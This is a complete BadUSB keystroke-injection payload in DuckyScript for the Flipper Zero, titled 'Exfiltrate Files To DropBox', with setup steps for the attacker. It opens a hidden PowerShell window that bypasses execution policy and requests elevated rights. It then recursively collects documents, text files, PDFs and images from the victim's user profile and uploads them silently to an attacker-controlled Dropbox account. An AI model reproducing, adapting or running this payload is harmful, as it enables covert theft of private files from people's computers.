Files
BadUSB-Files-For-FlipperZero/OSINT/Exfiltrate files to DropBox.txt
2023-05-29 16:10:46 +00:00

39 lines
1.8 KiB
Plaintext

REM Title: Exfiltrate Files To DropBox
REM Author: @beigeworm
REM Description: Uses Powershell to Exfiltrate all files of all specified filetypes to a DropBox account.
REM Target: Windows 10,11
REM SETUP
REM make an app at https://www.dropbox.com/developers/apps (make sure to grant full access to your new app)
REM generate an access token for your app and replace DROPBOX_ACCESS_TOKEN_HERE.
REM Setup for duckyscript
DEFAULT_DELAY 100
REM open powershell (remove -W Hidden to show the window)
GUI r
DELAY 750
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
CTRL-SHIFT ENTER
DELAY 1500
ALT y
STRING $accessToken = "DROPBOX_ACCESS_TOKEN_HERE"
STRING ;$localFolderPath = "$env:USERPROFILE"; $computerName = "$env:COMPUTERNAME"; $dropboxCreateFolderUrl = "https://api.dropboxapi.com/2/files/create_folder_v2"
STRING ;$dropboxFolderPath = $computerName.ToString(); $dropboxUploadUrl = "https://content.dropboxapi.com/2/files/upload"
ENTER
STRING $headers = @{"Authorization" = "Bearer $accessToken"
ENTER
STRING "Content-Type" = "application/octet-stream"}
ENTER
STRING $body = @{"path" = "/$computerName"
ENTER
STRING "autorename" = $true}| ConvertTo-Json; $files = Get-ChildItem -Path $localFolderPath -Include "*.docx","*.txt","*.pdf","*.jpg","*.png" -Recurse
ENTER
STRING foreach($file in $files){$relativePath = $file.FullName.Replace($localFolderPath, '').TrimStart('\')
STRING ;$dropboxFilePath = "$dropboxFolderPath/$relativePath".Replace('\', '/')
STRING ;$headers["Dropbox-API-Arg"] = "{`"path`": `"/$dropboxFilePath`", `"mode`": `"add`", `"autorename`": true, `"mute`": false}"
STRING ;try{$fileBytes = [System.IO.File]::ReadAllBytes($file.FullName)
STRING ;$response = Invoke-RestMethod -Uri $dropboxUploadUrl -Method Post -Headers $headers -Body $fileBytes}catch{}}
ENTER